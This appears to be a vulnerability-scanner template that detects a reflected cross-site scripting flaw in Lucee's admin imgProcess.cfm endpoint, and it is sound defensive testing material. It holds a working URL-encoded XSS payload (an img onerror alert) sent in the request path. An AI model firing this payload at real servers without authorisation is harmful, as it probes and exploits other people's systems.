lucee-xss: Lucee - Cross-Site Scripting

id: lucee-xss

info:
  name: Lucee - Cross-Site Scripting
  author: incogbyte
  severity: high
  description: Lucee contains a cross-site scripting vulnerability. It allows remote attackers to inject arbitrary JavaScript into the responses returned by the server.
  reference:
    - https://www.acunetix.com/vulnerabilities/web/lucee-server-arbitrary-file-creation/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: lucee,xss,unauth,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('{{randstr}}')%3elujb7/admin/imgProcess.cfm"
      - "{{BaseURL}}/lucee/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('{{randstr}}')%3elujb7/admin/imgProcess.cfm"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=a onerror=alert('{{randstr}}')>"
          - "MissingIncludeException"
          - "lucee-err"
        part: body
        condition: and
# digest: 4a0a004730450221009ed8bc9ae797586ab45ff871c40888ac8142f02b9d678edf88ac3067b76a42f8022042b6adb59227f179204ed6e8820a49657983cd68e1dcea95b4c2f488dbe2f39d:922c64590222798bb761d5b6d8e72950